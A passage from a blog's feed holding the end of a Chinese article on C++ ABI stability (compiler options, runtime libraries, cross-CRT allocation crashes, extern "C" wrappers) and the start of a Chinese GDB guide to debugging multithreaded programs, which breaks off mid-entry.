&lt;p&gt;考虑到 C++ 巨大的 codebase，这两套 C++ ABI 已经基本稳定，不会再改动了，&lt;strong&gt;所以我们现在其实可以说 C++ 编译器具有稳定的 ABI&lt;&#x2F;strong&gt;。怎么样，是不是和网上主流的说法不同？但是事实的确就摆在这里。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;MSVC 从 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;cpp&#x2F;porting&#x2F;binary-compat-2015-2017%3Fview%3Dmsvc-170&quot;&gt;2015&lt;&#x2F;a&gt; 的版本往后开始保证 ABI 稳定。GCC 从 3.4 开始使用 Itanium ABI 并保证 ABI 稳定。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;workaround&quot;&gt;Workaround&lt;&#x2F;h3&gt;
&lt;p&gt;尽管基础的 ABI 不再改变，但是升级编译器版本仍然可能会导致编译出来的库发生 ABI Broken，为什么呢？&lt;&#x2F;p&gt;
&lt;p&gt;这其实不难理解，首先编译器也是软件，只要是软件就可能有 BUG。有时候为了修复 BUG，会被迫做出一些 ABI Broken（一般会在新版本发行介绍中详细说明）。也可能，之前的代码为了绕过编译器 BUG 的，编写了一些特殊的代码，我们一般把这个叫做 workaround。当 BUG 被修复之后，这些 workaround 很可能起到反作用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;important-options&quot;&gt;Important Options&lt;&#x2F;h3&gt;
&lt;p&gt;除此之外，编译器还提供了一些列选项用来控制编译器的行为，这些选项可能会影响 ABI，比如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;-fno-strict-aliasing：关闭严格别名&lt;&#x2F;li&gt;
&lt;li&gt;-fno-exceptions：关闭异常&lt;&#x2F;li&gt;
&lt;li&gt;-fno-rtti：关闭 RTTI&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;...&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;给不同选项编译出来的库链接到一起的时候，尤其要兼容性问题。例如你的代码关闭了严格别名，但是依赖的外部库开启了严格别名，很可能指针错误的传播，从而导致程序出错。&lt;&#x2F;p&gt;
&lt;p&gt;我最近就遇到了这种情况，我在给 LLVM 的一些函数编写 Python Wrapper，通过 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;pybind&#x2F;pybind11&quot;&gt;pybind11&lt;&#x2F;a&gt;。而 pybind11 要求必须打开 RTTI，但是 LLVM 默认构建是关闭异常和 RTTI 的，所以最后代码就链接不到一块去了。一开始我是自己编译了一份开 RTTI 的 LLVM，这会导致二进制膨胀，后来发现没必要这样做。我其实没有用到 LLVM 里面类型的 RTTI 信息，只是由于写在同一个文件里面，编译器认为我用到了。于是把使用到 LLVM 部分的代码单独编译成一个动态库，再和使用 pybind11 部分的代码一起链接就解决了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;runtime-library&quot;&gt;Runtime &amp;amp; Library&lt;&#x2F;h2&gt;
&lt;p&gt;这一小节主要讨论的就是，一个 C++ 程序依赖的库的 ABI 稳定性。&lt;strong&gt;理想情况下是，对于一个可执行程序，使用新版本的动态库替换旧版本的动态库，仍然不影响它运行。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;三大 C++ 编译器都有自己的标准库&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;MSVC 对应的是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;microsoft&#x2F;STL&quot;&gt;msvc stl&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;GCC 对应的是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;gcc-mirror&#x2F;gcc&#x2F;tree&#x2F;master&#x2F;libstdc%252B%252B-v3&quot;&gt;libstdc++&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Clang 对应的是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;llvm&#x2F;llvm-project&#x2F;tree&#x2F;main&#x2F;libcxx&quot;&gt;libc++&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们在前面提到过，C++ 标准尽量保证 ABI 向后兼容。即使是从 C++98 到 C++11 这样的大更新，旧代码的 ABI 也没有受到太大影响，导致 ABI Break Change 的措辞改变更是完全找不到。&lt;&#x2F;p&gt;
&lt;p&gt;但是对于 C++ 标准库来说情况就有些不一样了，从 C++98 到 C++11，标准库经历了一次大的 ABI Break Change。标准库中修改了对一些容器实现的要求，例如&lt;code&gt;std::string&lt;&#x2F;code&gt;。这导致原来广泛使用的 COW 实现不符合新标准，于是在 C++11 中不得不采用新实现。这也就导致了 C++98 和 C++11 之间的标准库 ABI Broken。不过在这之后，标准库的 ABI 一般相对稳定，各家实现也尽量保证。参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;cpp&#x2F;porting&#x2F;binary-compat-2015-2017%3Fview%3Dmsvc-170&quot;&gt;stl&lt;&#x2F;a&gt;，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;gcc.gnu.org&#x2F;onlinedocs&#x2F;libstdc%2B%2B&#x2F;manual&#x2F;abi.html&quot;&gt;libstdc++&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;libcxx.llvm.org&#x2F;DesignDocs&#x2F;ABIVersioning.html&quot;&gt;libc++&lt;&#x2F;a&gt; 相关的页面以获取详细介绍。&lt;&#x2F;p&gt;
&lt;p&gt;另外由于 RTTI 和 Exception 一般可以关掉，所以这两项功能可能由单独的运行时库来负责，比如 MSVC 的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;cpp&#x2F;c-runtime-library&#x2F;crt-library-features%3Fview%3Dmsvc-170&quot;&gt;vcruntime&lt;&#x2F;a&gt; 和 libc++ 的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;libcxxabi.llvm.org&#x2F;&quot;&gt;libcxxabi&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;值得一提的是，libcxxabi 中还包含了对静态局部变量初始化的支持，涉及到的主要函数是 &lt;strong&gt;cxa_guard_acquire,&lt;&#x2F;strong&gt;  cxa_guard_release。使用它们来保证静态局部变量只在运行时初始化一次，如果对具体的实现感到好奇，可以查阅相关源码。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;还有就是负责一些底层功能的运行时库，比如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;gcc.gnu.org&#x2F;onlinedocs&#x2F;gccint&#x2F;Libgcc.html&quot;&gt;libgcc&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;compiler-rt.llvm.org&#x2F;&quot;&gt;compiler-rt&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;除了标准库以外，C++ 程序一般还需要链接 C 运行时&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在 Windows 上，必须链接 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;cpp&#x2F;c-runtime-library&#x2F;compatibility%3Fview%3Dmsvc-170&quot;&gt;CRT&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;在 Linux 上 取决于所使用的发行版和编译环境，可能会链接 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;libc&#x2F;&quot;&gt;glibc&lt;&#x2F;a&gt; 或者 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;musl.libc.org&#x2F;&quot;&gt;musl&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;C 运行时除了提供 C 标准库的实现外，还负责程序的初始化和清理。它负责调用&lt;code&gt;main&lt;&#x2F;code&gt;函数，并管理程序的启动和终止过程，包括执行一些必要的初始化和清理工作。对于大多数在操作系统上的软件来说，链接它是必须的。&lt;&#x2F;p&gt;
&lt;p&gt;最理想的状态自然是，升级编译器的时候把这些对应的运行时库版本也升级，避免不必要的麻烦。但是在实际项目中，依赖关系可能十分复杂，可能会引发连锁反应。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;user-code&quot;&gt;User Code&lt;&#x2F;h2&gt;
&lt;p&gt;最后我们来谈谈用户代码自身的改变导致的 ABI 问题，如果希望将你的库以二进制形式进行分发，那么当用户量达到一定程度之后，ABI 兼容性就很重要了。&lt;&#x2F;p&gt;
&lt;p&gt;在第一小节讨论调用约定的时候，就提到过变更结构体定义导致的 ABI 不兼容问题。那如果既想要保证 ABI 兼容，又想要为以后得扩展留下空间怎么办呢？答案就是在运行时处理了&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;struct X{
    size_t x;
    size_t y;
    void* reserved;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过一个&lt;code&gt;void*&lt;&#x2F;code&gt;指针为以后的扩展预留空间。可以根据它来判断不同的版本，比如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;void f(X* x) {
    Reserved* r = static_cast&amp;lt;Reserved*&amp;gt;(x-&amp;gt;reserved);
    if (r-&amp;gt;version == ...) {
        &amp;#x2F;&amp;#x2F; do something
    } else if (r-&amp;gt;version == ...) {
        &amp;#x2F;&amp;#x2F; do something else
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样就能在添加新的功能的同时而不影响原有的代码。&lt;&#x2F;p&gt;
&lt;p&gt;对于有自定义析构函数的 C++ 类型也要格外注意，假设我们要暴露&lt;code&gt;std::vector&lt;&#x2F;code&gt;作为返回值，例如把下面这个简单的代码编译成动态库，并且使用&lt;code&gt;\MT&lt;&#x2F;code&gt;选项来静态链接 Windows CRT。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;__declspec(dllexport) std::vector&amp;lt;int&amp;gt; f() {
    return {1, 2, 3};
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我们写一个源文件，链接到刚才编译的这个动态库，调用这个函数&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;vector&amp;gt;

std::vector&amp;lt;int&amp;gt; f();

int main() {
    auto vec = f();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译运行，发现直接崩溃了。如果关闭&lt;code&gt;\MT&lt;&#x2F;code&gt;重新编译一遍动态库，然后运行，发现一切正常。很奇怪，为什么依赖的动态库静态链接 CRT 会导致代码崩溃？&lt;&#x2F;p&gt;
&lt;p&gt;思考一下上面的代码不难发现，&lt;code&gt;vec&lt;&#x2F;code&gt;的构造实际上发生在动态库里面，而析构则是发生在&lt;code&gt;main&lt;&#x2F;code&gt;函数里面。更进一步，其实就是内存是在动态库里面分配的，释放是在&lt;code&gt;main&lt;&#x2F;code&gt;函数里面。但是每一份 CRT 都有自己的&lt;code&gt;malloc&lt;&#x2F;code&gt;，&lt;code&gt;free&lt;&#x2F;code&gt;（类似于不同进程间的内存），你不能把 CRT A 分配的内存交给 CRT B 释放，这就是问题的根源。所以之后不静态链接到 CRT 就没事了，它们用的都是同一个&lt;code&gt;malloc&lt;&#x2F;code&gt;，&lt;code&gt;free&lt;&#x2F;code&gt;。示例代码放在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;16bit-ykiko&#x2F;about-me&#x2F;tree&#x2F;main&#x2F;code&#x2F;crt-fault&quot;&gt;这里&lt;&#x2F;a&gt;，感兴趣的可以自己试试。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;extern-c&quot;&gt;extern &quot;C&quot;&lt;&#x2F;h3&gt;
&lt;p&gt;对于任何带有自定义析构函数的 C++ 类型都可能出现上面那种情况，&lt;strong&gt;由于种种原因，导致构造函数和析构函数的调用跨越动态库边界，RAII 的约定被打破，导致严重的错误。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如何解决呢？那自然是函数参数和返回值都不使用带有析构函数的类型了，只是使用 POD 类型。&lt;&#x2F;p&gt;
&lt;p&gt;例如上面那个例子需要改成&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;using Vec = void*;

__declspec(dllexport) Vec create_Vec() {
    return new std::vector&amp;lt;int&amp;gt;;
}

__declspec(dllexport) void destroy_Vec(Vec vec) {
    delete static_cast&amp;lt;std::vector&amp;lt;int&amp;gt;*&amp;gt;(vec);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后使用就得这样&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;using Vec = void*;

Vec create_Vec();
void destroy_Vec(Vec vec);

int main() {
    Vec vec = create_Vec();
    destroy_Vec(vec);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其实我们就是在按照 C 风格的 RAII 来进行封装。更进一步，如果想要解决 C 和 C++ 由于 mangling 不同而导致的链接问题，可以使用&lt;code&gt;extern &quot;C&quot;&lt;&#x2F;code&gt;来修饰函数&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;extern &amp;quot;C&amp;quot; {
    Vec create_Vec();
    void destroy_Vec(Vec vec);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样的话 C 语言也可以使用上述的导出函数了。&lt;&#x2F;p&gt;
&lt;p&gt;但是如果代码量很大的话，把全部的函数都封装成这样的 API 显然不太现实，那就只能把 C++ 的类型暴露在导出接口中，然后小心地管理依赖项（比如所有依赖库全都静态链接）。具体选择哪一种方式，还是要看项目大小和复杂度，然后再做定夺。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;到这里，我们终于讨论完了影响 C++ 程序 ABI 的主要因素。可以清楚地看到，C++ 标准、编译器厂商和运行时库都在尽力维护 ABI 的稳定性，C++ ABI 并没有很多人说的那么不堪，那么不稳定。对于小型项目而言，带源码静态链接，几乎不会有任何的兼容性问题。对于那些历史悠久的大型项目来说，由于复杂的依赖关系，升级某些库的版本可能会导致程序崩溃。&lt;strong&gt;但这并不是 C++ 的错，对于大型项目的管理，早已超出了单纯的语言层面，不能指望通过更换编程语言来解决这些问题&lt;&#x2F;strong&gt;。实际上，学习软件工程就是在学习如何应对巨大的复杂度，如何保证复杂系统的稳定性。&lt;&#x2F;p&gt;
&lt;p&gt;到这里，文章就结束了。感谢您的阅读，作者水平有限，且文章内容跨度较大，如有错误欢迎评论区留言讨论。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GDB调试多线程及多进程</title>
        <published>2024-04-14T00:00:00+00:00</published>
        <updated>2024-04-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/gdb调试多线程及多进程/"/>
        <id>https://vercel.juzhong.asia/obsidian/gdb调试多线程及多进程/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/gdb调试多线程及多进程/">&lt;h1 id=&quot;gdbdiao-shi-duo-xian-cheng-ji-duo-jin-cheng&quot;&gt;GDB调试多线程及多进程&lt;&#x2F;h1&gt;
&lt;p&gt;本文档主要参看«Debugging with GDB» &lt;code&gt;Tenth Edition, for gdb version 8.0.1&lt;&#x2F;code&gt;，本节我们主要讲述一下使用GDB来调试多线程及多进程程序。&lt;&#x2F;p&gt;
&lt;p&gt;在有一些操作系统上，比如GNU&#x2F;Linux与Solaris，一个进程可以有多个执行线程。线程的精确语义因操作系统不同而有一些区别，但一般来说一个程序的线程类似与多进程，除了多线程是共享同一个地址空间之外。另一方面，每一个线程都有其自己的寄存器(registers)和执行栈(execution stack)，并可能拥有其自己的私有内存。&lt;&#x2F;p&gt;
&lt;p&gt;GDB提供了如下的一些&lt;code&gt;facilities&lt;&#x2F;code&gt;来用于支持多线程的调试：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;新线程的自动通知&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;thread thread_id&lt;&#x2F;strong&gt;: 用于在线程之间切换的命令&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;info threads&lt;&#x2F;strong&gt;: 用于查询当前存在的线程信息&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;thread apply [thread-id-list] [all] args&lt;&#x2F;strong&gt;: 对一系列的线程应用某一个命令&lt;&#x2F;li&gt;
&lt;li&gt;thread-specific breakpoints&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;set print thread-events&lt;&#x2F;strong&gt;: 控制是否打印线程启动、退出消息&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;set libthread-db-search-path path&lt;&#x2F;strong&gt;: 假如默认的选择不兼容当前程序的话，让用户选择使用那个&lt;code&gt;thread-db&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;上面的&lt;code&gt;线程调试facility&lt;&#x2F;code&gt;使得你可以在程序运行期间观察到所有的线程，但是无论在什么时候只要被gdb接管控制权，只会有一个线程处于focus状态。该线程被称为&lt;code&gt;current thread&lt;&#x2F;code&gt;。GDB调试命令都是以当前线程(current thread)的视角来显示程序信息。&lt;&#x2F;p&gt;
&lt;p&gt;当GDB在程序中检测到有一个新的线程，其都会打印该线程在目标系统的标识信息，格式为&lt;code&gt;[New systag]&lt;&#x2F;code&gt;, 这里&lt;code&gt;systag&lt;&#x2F;code&gt;是一个线程标识，其具体的形式可能依系统不同而有些差异。例如在GNU&#x2F;Linux操作系统上，当GDB检测到有一个新的线程时，你可能会看到：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[New Thread 0x41e02940 (LWP 25582)]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;相反，在一些其他的系统上，&lt;code&gt;systag&lt;&#x2F;code&gt;可能只是一个很简单的标识，例如&lt;code&gt;process 368&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;用于调试目的，GDB会用其自己的线程号与每一个“线程inferior”相关联。在同一个&lt;code&gt;inferior&lt;&#x2F;code&gt;下，所有线程之间的标识号都是唯一的；但是不同&lt;code&gt;inferior&lt;&#x2F;code&gt;下，线程之间的标识号则可能不唯一。你可以通过&lt;code&gt;inferior-num.thread-num&lt;&#x2F;code&gt;语法来引用某一个&lt;code&gt;inferior&lt;&#x2F;code&gt;中的指定线程（这被称为&lt;code&gt;qualified Thread ID&lt;&#x2F;code&gt;)。例如，线程&lt;code&gt;2.3&lt;&#x2F;code&gt;引用&lt;code&gt;inferior 2&lt;&#x2F;code&gt;中线程number为2的线程。假如你省略&lt;code&gt;inferior number&lt;&#x2F;code&gt;的话，则GDB默认引用的是当前&lt;code&gt;inferior&lt;&#x2F;code&gt;中的线程。&lt;&#x2F;p&gt;
&lt;p&gt;在你创建第二个&lt;code&gt;inferior&lt;&#x2F;code&gt;之前，GDB并不会在&lt;code&gt;thread IDs&lt;&#x2F;code&gt;部分显示&lt;code&gt;inferior number&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;有一些命令接受以空格分割的&lt;code&gt;thread ID&lt;&#x2F;code&gt;列表作为参数，一个列表元素可以是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1) &amp;#x27;info threads&amp;#x27; 命令显示的&amp;#x27;thread ID&amp;#x27;可能包含inferior标识符，也可能不包括。例如： &amp;#x27;2.1&amp;#x27;或者&amp;#x27;1&amp;#x27;

2) 指定线程数范围，格式为 &amp;#x27;inf.thr1-thr2&amp;#x27; 或者 &amp;#x27;thr1-thr2&amp;#x27;。例如： &amp;#x27;1.2-4&amp;#x27;或&amp;#x27;2-4&amp;#x27;

3) 一个 &amp;#x27;inferior&amp;#x27;中的所有线程，可以通过&amp;#x27;*&amp;#x27;通配符来指定。格式为 &amp;#x27;inf.*&amp;#x27;或者 &amp;#x27;*&amp;#x27;。前者指定某个inferior中的所有线程；
  后者指定当前inferior中的所有线程
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例如，假如当前的&lt;code&gt;inferior&lt;&#x2F;code&gt;是1，&lt;code&gt;inferior 7&lt;&#x2F;code&gt;有一个线程，其ID为&lt;code&gt;7.1&lt;&#x2F;code&gt;，则线程列表&lt;code&gt;1 2-3 4.5 6.7-9 7.*&lt;&#x2F;code&gt;表示&lt;code&gt;inferior 1&lt;&#x2F;code&gt;中的线程1至线程3，&lt;code&gt;inferior 4&lt;&#x2F;code&gt;中的线程5，&lt;code&gt;inferior 6&lt;&#x2F;code&gt;中的线程7至线程9， 以及&lt;code&gt;inferior 7&lt;&#x2F;code&gt;中的所有线程。&lt;&#x2F;p&gt;
&lt;p&gt;从GDB的视角来看，一个进程至少有一个线程。换句话说，GDB会为程序的主线程指定一个&lt;code&gt;thread number&lt;&#x2F;code&gt;，即使在该程序并不是多线程的情况下。参看如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main(int argc, char *argv[])
{
        printf(&amp;quot;hello,world!\n&amp;quot;);

        return 0x0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译调试：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;# gdb -q .&amp;#x2F;test
Reading symbols from &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;test...done.
(gdb) list
1       #include &amp;lt;stdio.h&amp;gt;
2       #include &amp;lt;stdlib.h&amp;gt;
3
4       int main(int argc, char *argv[])
5       {
6               printf(&amp;quot;hello,world!\n&amp;quot;);
7
8               return 0x0;
9       }
(gdb) b 6
Breakpoint 1 at 0x40053c: file test.c, line 6.
(gdb) r
Starting program: &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test

Breakpoint 1, main (argc=1, argv=0x7fffffffe638) at test.c:6
6               printf(&amp;quot;hello,world!\n&amp;quot;);
Missing separate debuginfos, use: debuginfo-install glibc-2.17-157.el7.x86_64
(gdb) info inferiors
  Num  Description       Executable
* 1    process 26158     &amp;#x2F;root&amp;#x2F;workspace&amp;#x2F;.&amp;#x2F;test
(gdb) info threads
  Id   Target Id         Frame
* 1    process 26158 &amp;quot;test&amp;quot; main (argc=1, argv=0x7fffffffe638) at test.c:6
(gdb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;假如GDB检测到程序是多线程的，假如某个线程在断点处暂停时，其就会打印出该线程的ID及线程的名称：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Thread 2 &amp;quot;client&amp;quot; hit Breakpoint 1, send_message () at client.c:68
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;相似的，当程序收到一个信号之后，其会打印如下的信息：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Thread 1 &amp;quot;main&amp;quot; received signal SIGINT, Interrupt.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;info threads [thread-id-list]&lt;&#x2F;strong&gt; : 用于显示一个或多个线程的信息。假如并未指定参数的话，则显示所有线程的信息。你可以指定想要显示的线程列表。GDB会按如下方式显示每一个线程：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;string&quot; class=&quot;language-string &quot;&gt;&lt;code class=&quot;language-string&quot; data-lang=&quot;string&quot;&gt;1. 由GDB指定的每一个线程的thread number

2. 由GDB指定的全局thread number(假如指定了&amp;#x27;-gid&amp;#x27;选项的话）

3. 目标系统的线程标识符(systag)

4. 线程名称。线程的名称可以由用户指定，在某一些情况下也可以由程序自身指定

5. 该线程的当前stack frame信息

注意： &amp;#x27;*&amp;#x27;指示的线程表示为当前线程
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) info threads
Id Target Id Frame
* 1 process 35 thread 13 main (argc=1, argv=0x7ffffff8)
2 process 35 thread 23 0x34e5 in sigpause ()
3 process 35 thread 27 0x34e5 in sigpause ()
at threadtest.c:68
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;假如当前你正在调试多个&lt;code&gt;inferiors&lt;&#x2F;code&gt;，则GDB会使用限定的&lt;code&gt;inferior-num.thread-num&lt;&#x2F;code&gt;这样的格式来显示&lt;code&gt;thread IDs&lt;&#x2F;code&gt;。否则的话，则只会显示&lt;code&gt;thread-num&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;假如指定了&lt;code&gt;-gid&lt;&#x2F;code&gt;选项，那么在执行&lt;code&gt;info threads&lt;&#x2F;code&gt;命令时就会显示每一个线程的&lt;code&gt;global thread ID&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(gdb) info threads
Id GId Target Id Frame
1.1 1 process 35 thread 13 main (argc=1, argv=0x7ffffff8)
1.2 3 process 35 thread 23 0x34e5 in sigpause ()
1.3 4 process 35 thread 27 0x34e5 in sigpause ()
* 2.1 2 process 65 thread 1 main (argc=1, argv=0x7ffffff8)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;thread thread-id&lt;&#x2F;strong&gt;: 使&lt;code&gt;thread-id&lt;&#x2F;code&gt;所指定的线程为当前线程。该命令的参数&lt;code&gt;thread-id&lt;&#x2F;code&gt;是GDB所指定的&lt;code&gt;thread ID&lt;&#x2F;code&gt;，即上面&lt;code&gt;info threads&lt;&#x2F;code&gt;命令显示的第一列。通过此命令切换之后，GDB会打印你所选中的线程的系统标识和当前的栈帧信息：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;(gdb) thread 2
[Switching to thread 2 (Thread 0xb7fdab70 (LWP 12747))]
#0 some_function (ignore=0x0) at example.c:8
8 printf (&amp;quot;hello\n&amp;quot;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
